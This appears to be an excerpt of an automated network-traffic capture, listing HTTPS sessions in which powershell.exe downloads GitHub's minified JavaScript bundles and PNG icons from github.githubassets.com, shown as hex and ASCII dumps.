2024-09-30 13:50:41 UTC	1378	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 67 6c 6f 62 61 6c 54 68 69 73 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 3d 67 6c 6f 62 61 6c 54 68 69 73 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 72 65 6d 6f 74 65 2d 66 6f 72 6d 5f 64 69 73 74 5f 69 6e 64 65 78 5f 6a 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 64 65 6c 65 67 61 74 65 64 2d 65 76 65 6e 74 73 5f 64 69 73 74 5f 69 6e 64 65 2d 39 34 66 64 36 37 22 2c 22 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 72 65 6d 6f 74 65 2d 66 6f 72 6d 5f 64 69 73 74 5f 69 6e 64 65 78 5f 6a 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 64 65 6c 65 67 61 74 65 64 2d Data Ascii: "use strict";(globalThis.webpackChunk=globalThis.webpackChunk\|\|[]).push([["vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67","vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-
2024-09-30 13:50:41 UTC	1378	IN	Data Raw: 6e 63 20 65 3d 3e 7b 69 66 28 65 29 7b 66 6f 72 28 6c 65 74 20 65 20 6f 66 20 73 29 61 77 61 69 74 20 65 28 74 29 3b 68 28 61 29 2e 74 68 65 6e 28 75 2c 63 29 2e 63 61 74 63 68 28 28 29 3d 3e 7b 7d 29 2e 74 68 65 6e 28 28 29 3d 3e 7b 66 6f 72 28 6c 65 74 20 65 20 6f 66 20 6f 29 65 28 74 29 7d 29 7d 65 6c 73 65 20 74 2e 73 75 62 6d 69 74 28 29 7d 2c 65 3d 3e 7b 74 2e 73 75 62 6d 69 74 28 29 2c 73 65 74 54 69 6d 65 6f 75 74 28 28 29 3d 3e 7b 74 68 72 6f 77 20 65 7d 29 7d 29 7d 61 73 79 6e 63 20 66 75 6e 63 74 69 6f 6e 20 70 28 65 2c 74 2c 6e 2c 72 29 7b 6c 65 74 20 6f 3d 21 31 3b 66 6f 72 28 6c 65 74 20 73 20 6f 66 20 65 29 7b 6c 65 74 5b 65 2c 61 5d 3d 69 28 29 2c 6c 3d 28 29 3d 3e 28 6f 3d 21 30 2c 61 28 29 2c 72 29 2c 75 3d 7b 74 65 78 74 3a 6c 2c 6a 73 Data Ascii: nc e=>{if(e){for(let e of s)await e(t);h(a).then(u,c).catch(()=>{}).then(()=>{for(let e of o)e(t)})}else t.submit()},e=>{t.submit(),setTimeout(()=>{throw e})})}async function p(e,t,n,r){let o=!1;for(let s of e){let[e,a]=i(),l=()=>(o=!0,a(),r),u={text:l,js
2024-09-30 13:50:41 UTC	1378	IN	Data Raw: 72 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 73 2e 63 61 6c 6c 28 65 2c 74 29 7d 2c 72 2e 70 72 6f 74 6f 74 79 70 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 65 29 7d 2c 72 2e 70 72 6f 74 6f 74 79 70 65 2e 69 6e 64 65 78 65 73 3d 5b 5d 3b 76 61 72 20 61 3d 2f 5e 23 28 28 3f 3a 5b 5c 77 5c 75 30 30 63 30 2d 5c 75 46 46 46 46 5c 2d 5d 7c 5c 5c 2e 29 2b 29 2f 67 3b 72 2e 70 72 6f 74 6f 74 79 70 65 2e 69 6e 64 65 78 65 73 2e 70 75 73 68 28 7b 6e 61 6d 65 3a 22 49 44 22 2c 73 65 6c 65 63 74 6f 72 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3b 69 66 28 74 3d 65 2e 6d 61 74 63 68 28 61 29 29 72 65 Data Ascii: r=function(e,t){return s.call(e,t)},r.prototype.querySelectorAll=function(e,t){return t.querySelectorAll(e)},r.prototype.indexes=[];var a=/^#((?:[\w\u00c0-\uFFFF\-]\|\\.)+)/g;r.prototype.indexes.push({name:"ID",selector:function(e){var t;if(t=e.match(a))re
2024-09-30 13:50:41 UTC	1378	IN	Data Raw: 29 29 26 26 28 75 3d 69 5b 33 5d 2c 69 5b 32 5d 7c 7c 21 75 29 29 7b 66 6f 72 28 6e 3d 30 3b 6e 3c 6c 3b 6e 2b 2b 29 69 66 28 73 3d 28 61 3d 65 5b 6e 5d 29 2e 73 65 6c 65 63 74 6f 72 28 69 5b 31 5d 29 29 7b 66 6f 72 28 72 3d 70 2e 6c 65 6e 67 74 68 2c 6f 3d 21 31 3b 72 2d 2d 3b 29 69 66 28 70 5b 72 5d 2e 69 6e 64 65 78 3d 3d 3d 61 26 26 70 5b 72 5d 2e 6b 65 79 3d 3d 3d 73 29 7b 6f 3d 21 30 3b 62 72 65 61 6b 7d 6f 7c 7c 70 2e 70 75 73 68 28 7b 69 6e 64 65 78 3a 61 2c 6b 65 79 3a 73 7d 29 3b 62 72 65 61 6b 7d 7d 77 68 69 6c 65 28 69 29 72 65 74 75 72 6e 20 70 7d 66 75 6e 63 74 69 6f 6e 20 68 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 65 2e 69 64 2d 74 2e 69 64 7d 72 2e 70 72 6f 74 6f 74 79 70 65 2e 6c 6f 67 44 65 66 61 75 6c 74 49 6e 64 65 78 55 73 65 64 3d 66 Data Ascii: ))&&(u=i[3],i[2]\|\|!u)){for(n=0;n<l;n++)if(s=(a=e[n]).selector(i[1])){for(r=p.length,o=!1;r--;)if(p[r].index===a&&p[r].key===s){o=!0;break}o\|\|p.push({index:a,key:s});break}}while(i)return p}function h(e,t){return e.id-t.id}r.prototype.logDefaultIndexUsed=f
2024-09-30 13:50:41 UTC	1378	IN	Data Raw: 2e 6a 6f 69 6e 28 22 2c 20 22 29 2c 65 29 3b 66 6f 72 28 74 3d 30 2c 72 3d 70 2e 6c 65 6e 67 74 68 3b 74 3c 72 3b 74 2b 2b 29 66 6f 72 28 6e 3d 30 2c 6f 3d 70 5b 74 5d 2c 69 3d 28 73 3d 74 68 69 73 2e 6d 61 74 63 68 65 73 28 6f 29 29 2e 6c 65 6e 67 74 68 3b 6e 3c 69 3b 6e 2b 2b 29 75 5b 28 6c 3d 73 5b 6e 5d 29 2e 69 64 5d 3f 61 3d 75 5b 6c 2e 69 64 5d 3a 28 61 3d 7b 69 64 3a 6c 2e 69 64 2c 73 65 6c 65 63 74 6f 72 3a 6c 2e 73 65 6c 65 63 74 6f 72 2c 64 61 74 61 3a 6c 2e 64 61 74 61 2c 65 6c 65 6d 65 6e 74 73 3a 5b 5d 7d 2c 75 5b 6c 2e 69 64 5d 3d 61 2c 63 2e 70 75 73 68 28 61 29 29 2c 61 2e 65 6c 65 6d 65 6e 74 73 2e 70 75 73 68 28 6f 29 3b 72 65 74 75 72 6e 20 63 2e 73 6f 72 74 28 68 29 7d 2c 72 2e 70 72 6f 74 6f 74 79 70 65 2e 6d 61 74 63 68 65 73 3d 66 Data Ascii: .join(", "),e);for(t=0,r=p.length;t<r;t++)for(n=0,o=p[t],i=(s=this.matches(o)).length;n<i;n++)u[(l=s[n]).id]?a=u[l.id]:(a={id:l.id,selector:l.selector,data:l.data,elements:[]},u[l.id]=a,c.push(a)),a.elements.push(o);return c.sort(h)},r.prototype.matches=f
2024-09-30 13:50:41 UTC	1378	IN	Data Raw: 6f 70 49 6d 6d 65 64 69 61 74 65 50 72 6f 70 61 67 61 74 69 6f 6e 22 2c 78 29 2c 54 28 65 2c 53 29 3b 66 6f 72 28 76 61 72 20 72 3d 30 2c 69 3d 6e 2e 6c 65 6e 67 74 68 3b 72 3c 69 26 26 21 6d 2e 67 65 74 28 65 29 3b 72 2b 2b 29 7b 76 61 72 20 6f 3d 6e 5b 72 5d 3b 76 2e 73 65 74 28 65 2c 6f 2e 6e 6f 64 65 29 3b 66 6f 72 28 76 61 72 20 73 3d 30 2c 61 3d 6f 2e 6f 62 73 65 72 76 65 72 73 2e 6c 65 6e 67 74 68 3b 73 3c 61 26 26 21 67 2e 67 65 74 28 65 29 3b 73 2b 2b 29 6f 2e 6f 62 73 65 72 76 65 72 73 5b 73 5d 2e 64 61 74 61 2e 63 61 6c 6c 28 6f 2e 6e 6f 64 65 2c 65 29 7d 76 2e 64 65 6c 65 74 65 28 65 29 2c 54 28 65 29 7d 7d 7d 7d 66 75 6e 63 74 69 6f 6e 20 6b 28 65 2c 74 2c 6e 29 7b 76 61 72 20 69 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 33 26 26 Data Ascii: opImmediatePropagation",x),T(e,S);for(var r=0,i=n.length;r<i&&!m.get(e);r++){var o=n[r];v.set(e,o.node);for(var s=0,a=o.observers.length;s<a&&!g.get(e);s++)o.observers[s].data.call(o.node,e)}v.delete(e),T(e)}}}}function k(e,t,n){var i=arguments.length>3&&
2024-09-30 13:50:41 UTC	1378	IN	Data Raw: 6e 67 74 68 2c 76 61 6c 75 65 3a 74 7d 29 7d 6e 2e 64 28 74 2c 7b 69 34 3a 28 29 3d 3e 54 65 6d 70 6c 61 74 65 49 6e 73 74 61 6e 63 65 2c 78 72 3a 28 29 3d 3e 67 7d 29 3b 76 61 72 20 69 2c 6f 2c 73 2c 61 2c 6c 2c 75 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 69 66 28 21 74 2e 68 61 73 28 65 29 29 74 68 72 6f 77 20 54 79 70 65 45 72 72 6f 72 28 22 61 74 74 65 6d 70 74 65 64 20 74 6f 20 73 65 74 20 70 72 69 76 61 74 65 20 66 69 65 6c 64 20 6f 6e 20 6e 6f 6e 2d 69 6e 73 74 61 6e 63 65 22 29 3b 72 65 74 75 72 6e 20 74 2e 73 65 74 28 65 2c 6e 29 2c 6e 7d 2c 63 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 21 74 2e 68 61 73 28 65 29 29 74 68 72 6f 77 20 54 79 70 65 45 72 72 6f 72 28 22 61 74 74 65 6d 70 74 65 64 20 74 6f 20 67 65 74 20 70 72 69 Data Ascii: ngth,value:t})}n.d(t,{i4:()=>TemplateInstance,xr:()=>g});var i,o,s,a,l,u=function(e,t,n){if(!t.has(e))throw TypeError("attempted to set private field on non-instance");return t.set(e,n),n},c=function(e,t){if(!t.has(e))throw TypeError("attempted to get pri
2024-09-30 13:50:41 UTC	1378	IN	Data Raw: 20 65 3f 65 3a 65 2e 76 61 6c 75 65 29 2e 6a 6f 69 6e 28 22 22 29 3b 74 68 69 73 2e 65 6c 65 6d 65 6e 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 4e 53 28 74 68 69 73 2e 61 74 74 72 2e 6e 61 6d 65 73 70 61 63 65 55 52 49 2c 74 68 69 73 2e 61 74 74 72 2e 6e 61 6d 65 2c 65 29 7d 7d 7d 3b 76 61 72 20 70 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 69 66 28 21 74 2e 68 61 73 28 65 29 29 74 68 72 6f 77 20 54 79 70 65 45 72 72 6f 72 28 22 61 74 74 65 6d 70 74 65 64 20 74 6f 20 73 65 74 20 70 72 69 76 61 74 65 20 66 69 65 6c 64 20 6f 6e 20 6e 6f 6e 2d 69 6e 73 74 61 6e 63 65 22 29 3b 72 65 74 75 72 6e 20 74 2e 73 65 74 28 65 2c 6e 29 2c 6e 7d 2c 68 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 21 74 2e 68 61 73 28 65 29 29 74 68 72 6f 77 20 54 79 70 Data Ascii: e?e:e.value).join("");this.element.setAttributeNS(this.attr.namespaceURI,this.attr.name,e)}}};var p=function(e,t,n){if(!t.has(e))throw TypeError("attempted to set private field on non-instance");return t.set(e,n),n},h=function(e,t){if(!t.has(e))throw Typ
2024-09-30 13:50:41 UTC	1378	IN	Data Raw: 69 65 6c 64 20 6f 6e 20 6e 6f 6e 2d 69 6e 73 74 61 6e 63 65 22 29 3b 72 65 74 75 72 6e 20 74 2e 73 65 74 28 65 2c 6e 29 2c 6e 7d 2c 79 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 21 74 2e 68 61 73 28 65 29 29 74 68 72 6f 77 20 54 79 70 65 45 72 72 6f 72 28 22 61 74 74 65 6d 70 74 65 64 20 74 6f 20 67 65 74 20 70 72 69 76 61 74 65 20 66 69 65 6c 64 20 6f 6e 20 6e 6f 6e 2d 69 6e 73 74 61 6e 63 65 22 29 3b 72 65 74 75 72 6e 20 74 2e 67 65 74 28 65 29 7d 3b 6c 65 74 20 54 65 6d 70 6c 61 74 65 49 6e 73 74 61 6e 63 65 3d 63 6c 61 73 73 20 54 65 6d 70 6c 61 74 65 49 6e 73 74 61 6e 63 65 20 65 78 74 65 6e 64 73 20 44 6f 63 75 6d 65 6e 74 46 72 61 67 6d 65 6e 74 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 65 2c 74 2c 6e 3d 6d 29 7b 76 61 72 20 69 2c 6f 3b 73 Data Ascii: ield on non-instance");return t.set(e,n),n},y=function(e,t){if(!t.has(e))throw TypeError("attempted to get private field on non-instance");return t.get(e)};let TemplateInstance=class TemplateInstance extends DocumentFragment{constructor(e,t,n=m){var i,o;s
2024-09-30 13:50:41 UTC	1378	IN	Data Raw: 25 34 29 25 34 29 2c 6e 3d 61 74 6f 62 28 65 2e 72 65 70 6c 61 63 65 28 2f 2d 2f 67 2c 22 2b 22 29 2e 72 65 70 6c 61 63 65 28 2f 5f 2f 67 2c 22 2f 22 29 2b 74 29 2c 72 3d 6e 65 77 20 41 72 72 61 79 42 75 66 66 65 72 28 6e 2e 6c 65 6e 67 74 68 29 2c 69 3d 6e 65 77 20 55 69 6e 74 38 41 72 72 61 79 28 72 29 3b 66 6f 72 28 6c 65 74 20 65 3d 30 3b 65 3c 6e 2e 6c 65 6e 67 74 68 3b 65 2b 2b 29 69 5b 65 5d 3d 6e 2e 63 68 61 72 43 6f 64 65 41 74 28 65 29 3b 72 65 74 75 72 6e 20 72 7d 66 75 6e 63 74 69 6f 6e 20 69 28 65 29 7b 6c 65 74 20 74 3d 6e 65 77 20 55 69 6e 74 38 41 72 72 61 79 28 65 29 2c 6e 3d 22 22 3b 66 6f 72 28 6c 65 74 20 65 20 6f 66 20 74 29 6e 2b 3d 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 65 29 3b 72 65 74 75 72 6e 20 62 74 6f 61 Data Ascii: %4)%4),n=atob(e.replace(/-/g,"+").replace(/_/g,"/")+t),r=new ArrayBuffer(n.length),i=new Uint8Array(r);for(let e=0;e<n.length;e++)i[e]=n.charCodeAt(e);return r}function i(e){let t=new Uint8Array(e),n="";for(let e of t)n+=String.fromCharCode(e);return btoa

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.7	49780	185.199.110.154	443	6764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 13:50:41 UTC	360	OUT	GET /assets/thumbnail-31b2a20df6fc.png HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive
2024-09-30 13:50:41 UTC	664	IN	HTTP/1.1 200 OK Connection: close Content-Length: 109704 Cache-Control: public, max-age=31536000, immutable Content-Type: image/png Last-Modified: Thu, 22 Aug 2024 18:13:01 GMT ETag: "0x8DCC2D60F7593B0" Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Mon, 30 Sep 2024 13:50:41 GMT Age: 2353445 X-Served-By: cache-iad-kiad7000170-IAD, cache-ewr-kewr1740074-EWR X-Cache: HIT, HIT X-Cache-Hits: 2729, 613 Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: bf67736252ab31732fc0f6e190dff695dc880525
2024-09-30 13:50:41 UTC	16384	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 ba 00 00 00 fc 08 06 00 00 00 01 81 61 40 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 01 ac 1d 49 44 41 54 78 01 9c fd d9 b2 6d 4b 92 25 08 a9 ce bd cf 39 f7 dc fe 7a 74 ee 91 11 99 1e 05 42 d2 08 10 29 82 20 88 50 90 02 82 d0 bc c1 1f 14 5f 40 f1 05 25 7c 41 f1 07 f0 07 f0 c8 5b 09 1f 00 64 3c 15 12 92 8d 17 19 91 11 e1 e9 cd 6d 4f b7 f7 9e ca 9a 66 3a 74 0c b5 39 f7 75 af 5a ee f7 ec b5 66 63 a6 a6 cd 50 35 b5 ce ed f7 fc 7c f9 e5 cf bf fc e1 e9 e9 7f eb e6 ff dc dc ff 32 22 7e ee b7 cb 7c e2 f6 cb 22 ff f2 0a 7f ea fd a8 67 22 bf ba e3 fb 7c c6 1d f7 c3 e4 87 f5 fa ac 3d eb ed 7a 64 b9 db Data Ascii: PNGIHDRa@pHYssRGBgAMAaIDATxmK%9ztB) P_@%\|A[d<mOf:t9uZfcP5\|2"~\|"g"\|=zd
2024-09-30 13:50:41 UTC	16384	IN	Data Raw: 85 a5 bd 67 4e 9d 8c 86 d2 6e eb b8 59 07 37 ef 72 74 b3 da f0 c1 ac 3b 65 eb ba 81 3f 2f 5f be b8 39 fc 07 0b 59 8f eb 29 a7 39 73 b6 98 6e 5a 32 e9 74 eb 69 e2 23 7d 3b 27 94 4c f6 68 ea 36 c4 f2 8d 7a e5 3f 06 7a da f3 27 3f 54 2f b4 64 30 f4 6c 52 51 7b 56 22 fb d1 03 8a 7a 9b a4 09 9f e6 a3 f3 8b 66 00 5a dd be b4 4b ae 8d 3a 87 7a c5 15 ec b0 fe 9c fc 33 4f de c8 76 4a c0 75 ce a2 59 d3 8f 7b 28 53 80 42 c8 cf a0 fc c6 02 97 87 fc d2 c8 eb ab 78 6e 3f 45 eb 5c bf 63 5c c3 24 8e 43 81 b9 d2 9f cd f8 05 38 8c ca c6 22 d8 2b ac 46 5f 38 63 95 6b 09 0c 2c 93 df 50 de 32 3c 0b 6b 3d 92 42 2f ab 76 5a 8b 84 9b 08 4a 78 c7 a7 56 62 44 7f a6 3b 25 79 c8 17 a3 45 7d e3 22 a2 bb 28 da fb 98 20 41 fb 78 ef 18 47 79 fd d1 eb 71 82 b9 1a ef aa da c7 ef 6d 21 74 Data Ascii: gNnY7rt;e?/_9Y)9snZ2ti#};'Lh6z?z'?T/d0lRQ{V"zfZK:z3OvJuY{(SBxn?E\c\$C8"+F_8ck,P2<k=B/vZJxVbD;%yE}"( AxGyqm!t
2024-09-30 13:50:41 UTC	16384	IN	Data Raw: 55 17 b9 da 8e b4 a4 10 87 08 4c d2 9b e5 8c 4c a3 0b ea 2b 7b 96 66 be 4c 15 46 65 e3 f9 7d ef 9b 87 ca 47 d3 7a c9 a5 2c cf 0b 5c 0a 58 74 73 ed 6c ab 67 3e c8 f1 58 46 38 9b a4 00 bb c3 f6 aa b7 0c 71 71 26 56 ed 09 69 0f 12 5c 9a 8e 8a 6e 18 49 97 ae bb d3 88 49 b7 23 83 11 f2 5a 14 4d d3 68 b0 07 62 1a 29 d6 fa 04 0d bc bc 46 ad 61 4b 19 fa c6 2d 9c c2 8c 69 c8 e4 53 ca 18 3d db aa 33 cb 1c df 65 6d 11 77 a4 29 c5 00 29 e9 40 19 0c 18 66 3c 1a 9d b8 3a 38 b6 1d e3 65 48 75 99 61 57 15 0b 99 d8 84 0f 8e 89 02 c8 c9 cc 51 f4 28 b6 7d d6 0f e6 6e 7e e8 dd 83 dd 1f 4e ee dd 6f 6e 8e ee db e1 e4 ec a9 83 60 81 6b 7e 01 70 e8 88 5a 81 bc 77 07 79 da 7c 02 ba 32 68 52 e3 5f 9f 63 e5 b1 bc 2e 2a 6f 66 04 09 2d 8c bf a6 9c f6 9b b3 7b f3 ed 6f c7 78 e3 17 3f Data Ascii: ULL+{fLFe}Gz,\Xtslg>XF8qq&Vi\nII#ZMhb)FaK-iS=3emw))@f<:8eHuaWQ(}n~Non`k~pZwy\|2hR_c.*of-{ox?
2024-09-30 13:50:41 UTC	16384	IN	Data Raw: b4 b7 cf 9f 1e 9e dd 8f f6 cb 9f 7f b6 fb c7 97 23 14 9b 64 e9 63 7e 56 b3 1c 5f 53 20 dc 03 5d 40 b6 3c 96 0f 1f 56 1c cd be 7e fa fa f0 26 a7 bd 5d 73 2b 5c ed 5f 71 ac 08 3f 33 84 73 80 fc 55 40 6b 00 91 53 e0 e1 ad e8 32 17 cf 77 e0 48 da d4 1c 4a ae ec f0 16 24 6d fb bd d1 e6 8b 3d 1e 82 79 53 6c 27 4d ac 01 bc e9 a7 e6 89 f9 ad 53 d8 d7 39 33 f1 f6 58 b7 db f5 30 0c dc 98 25 4c 9e 39 a4 06 3f c4 11 01 59 30 01 42 8e c8 6f f8 bc 35 22 df 0a eb 66 05 a1 9a 20 8c 89 fc 7b 2b 8a e5 9a 78 86 96 5b c0 43 0d a2 4b 61 c2 5b 2a d1 b0 54 04 a4 2f 4f 00 88 1d 06 4c 71 ca bd ae 55 ce 93 21 c1 1a c3 80 e2 96 81 6b b5 a6 53 1e b9 49 c1 c9 20 c1 41 ae 59 33 97 0a e4 26 39 39 85 8a 5b 02 38 be b3 11 34 1a 6d 80 91 04 31 9d ca 92 de e2 05 b7 97 5b 41 fb 3b ad b5 e2 Data Ascii: #dc~V_S ]@<V~&]s+\_q?3sU@kS2wHJ$m=ySl'MS93X0%L9?Y0Bo5"f {+x[CKa[*T/OLqU!kSI AY3&99[84m1[A;
2024-09-30 13:50:41 UTC	16384	IN	Data Raw: 89 a6 16 3e 07 65 bb 88 97 d9 40 b5 50 b5 89 ca 69 ac df f7 41 82 3e 8d de 96 93 f1 30 98 8b da fc 90 b0 54 5e 43 ee b9 c9 85 25 78 9e 81 b9 62 fc f5 8d 77 ce ab f1 94 fe 8b 38 f3 68 0a a9 5b 22 54 ac 3d c4 46 25 eb b7 9c ef 1a ff 0d 3d 40 b7 d0 b2 d1 e9 48 c6 60 57 13 9f f3 f4 c2 c0 ac 4b c9 39 94 9e 61 8c c9 c8 e9 9d ed f4 69 4e e8 31 df ec 65 cc 16 48 03 d7 67 58 74 ce 92 de 1b 2c 21 8b 6a b1 b4 99 04 f1 4f 6f 4a 5c 8c ca 39 d3 2a b4 10 a0 a4 f2 bb 49 0f 10 e0 18 a6 a1 f0 02 99 b0 ee 25 c4 bc 39 15 52 29 97 fc ad 9f 2c fc e9 cb e7 6a 8b 04 61 58 de 41 2f 3c 5d 49 0d 1c 63 ae db 80 92 83 d9 33 13 40 07 95 26 5f bd d6 4f 88 df e4 88 0a 7b 0f 20 bd 91 6b b6 a6 ce 52 4c 4d e1 47 9c b7 83 42 52 df 46 0a fd fe 9a 7f 5f 39 9a 1d de 9a 6c 7f 61 50 63 4c 29 bd Data Ascii: >e@PiA>0T^C%xbw8h["T=F%=@H`WK9aiN1eHgXt,!jOoJ\9*I%9R),jaXA/<]Ic3@&_O{ kRLMGBRF_9laPcL)
2024-09-30 13:50:41 UTC	16384	IN	Data Raw: 58 82 5f c5 e3 59 2b 46 01 f2 96 bd ca c3 8a 42 74 67 58 ad 92 82 a2 01 57 88 e6 0a 6b c0 d0 08 64 ef f6 22 f4 f7 b7 07 e0 dc 76 00 b6 01 8c 1f 19 78 64 3b 59 94 66 87 f5 c8 fe 84 bd 68 56 a1 e9 3e 3e 08 60 f7 fc 4b 61 c2 7b 44 36 a9 f6 29 03 4a ac 59 e4 19 8e 4d 80 22 e2 04 79 15 7f 99 3d 2b 61 62 f3 d0 7c 38 9b 69 dd 80 bb 92 3f 1d 47 71 59 07 9c f4 d2 99 1e 3b 76 69 87 67 b2 87 55 4a 38 57 60 87 e9 76 eb b5 c8 b6 5b d4 11 8f ef bf 6d 77 1a a3 bd 60 dc ad 06 cc ab dd 18 dc 85 09 43 e9 3d 32 39 8b 9d 7c 64 a4 22 db ef 86 9a ab fd 7c 78 31 22 01 f6 3f 97 02 ca 1a 53 82 6c 98 f6 df bc e8 53 a8 55 21 4d fe dd d7 73 2b 68 26 99 e0 e8 2c 02 2c b7 39 56 e2 cc 50 12 5b 65 25 9b 0c 4f 33 b5 15 1b a3 ad 09 64 8c fb 67 56 99 80 1c 94 42 86 b3 27 b8 35 25 4e be 13 Data Ascii: X_Y+FBtgXWkd"vxd;YfhV>>`Ka{D6)JYM"y=+ab\|8i?GqY;vigUJ8W`v[mw`C=29\|d"\|x1"?SlSU!Ms+h&,,9VP[e%O3dgVB'5%N
2024-09-30 13:50:41 UTC	11400	IN	Data Raw: 41 e0 f6 e0 f3 6a 1f 08 af 71 f2 c6 5c 5f 79 ec 3a b2 37 be f8 4a 20 14 11 85 25 39 53 2e e6 52 82 31 e9 a4 3c f1 ad bc e7 2a b7 ea 51 19 e7 df ce 1e 8f 4d 99 f7 a4 65 6f c0 44 25 8e dc 0e e9 d1 35 c3 b5 e4 92 5e cd 39 bb 7e fb 33 bf 1f bd b7 aa 3e 7b 36 6c 4f 6b 7a e5 f9 2c 1e 96 b1 00 72 44 6d c3 37 f1 b1 94 a0 79 35 ee 04 f7 79 74 4b 8c f1 21 75 33 a7 1e a5 4e eb f8 d8 98 e1 48 3c 58 7b bc 4e b5 36 8d 46 41 ae ea b0 56 2d 47 74 f8 78 50 db d0 99 b5 bc 37 b5 77 ce 09 25 ca 13 17 59 a6 73 10 15 16 8f 92 61 39 78 36 a2 f8 d3 7a f5 c1 08 45 72 23 db 2a 9f 8d 2a ca b0 07 78 9c 5f 79 aa 8b b5 36 aa 0f 18 29 c5 6c 34 d6 78 77 e7 cf dd c4 18 31 c7 8a 00 44 2c 4f 3a 16 d6 3d 33 89 4a e9 fd 90 3c e7 18 69 52 96 ec 89 c2 ea 5e 1d 91 c1 05 83 aa f5 21 4b 46 1c 53 Data Ascii: Ajq\_y:7J %9S.R1<QMeoD%5^9~3>{6lOkz,rDm7y5ytK!u3NH<X{N6FAV-GtxP7w%Ysa9x6zEr#*x_y6)l4xw1D,O:=3J<iR^!KFS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.7	49781	185.199.110.154	443	6764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 13:50:41 UTC	355	OUT	GET /assets/play-1844e8414ade.png HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive
2024-09-30 13:50:42 UTC	662	IN	HTTP/1.1 200 OK Connection: close Content-Length: 6959 Cache-Control: public, max-age=31536000, immutable Content-Type: image/png Last-Modified: Mon, 15 Jul 2024 16:51:42 GMT ETag: 0x8DCA4EE679EF6E0 Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Mon, 30 Sep 2024 13:50:41 GMT Age: 3565709 X-Served-By: cache-iad-kjyo7100168-IAD, cache-ewr-kewr1740066-EWR X-Cache: HIT, HIT X-Cache-Hits: 8074, 4244 Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: 0f8ba0345e6075e5709b044069e35a4f0dd657a2
2024-09-30 13:50:42 UTC	1378	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 b2 00 00 00 20 08 06 00 00 00 b6 24 22 20 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 1a c4 49 44 41 54 78 01 a5 5c 7b 8c 95 d7 71 9f b9 60 35 62 a9 6a fe 30 4b 55 47 66 17 25 90 98 c5 6e 2b b3 8b 2b d5 01 16 27 71 b0 59 27 75 02 f8 11 12 1b 6c e7 e1 57 9c 17 8e 9b 5a 09 8e df af a4 71 9d 28 95 dd 18 1b 2b 51 59 e8 43 8d 01 13 57 0a e0 a4 69 cc 2e a9 ac ca b0 6b 29 a9 bc 58 4a a8 c4 d2 0a c2 9e ce 9c 33 af f3 dd 0b b5 93 03 7b ef 77 bf ef 3c e6 cc f9 cd 6f e6 cc f7 dd 8b f0 26 cb d0 d0 d0 99 2d 7a 83 94 2e 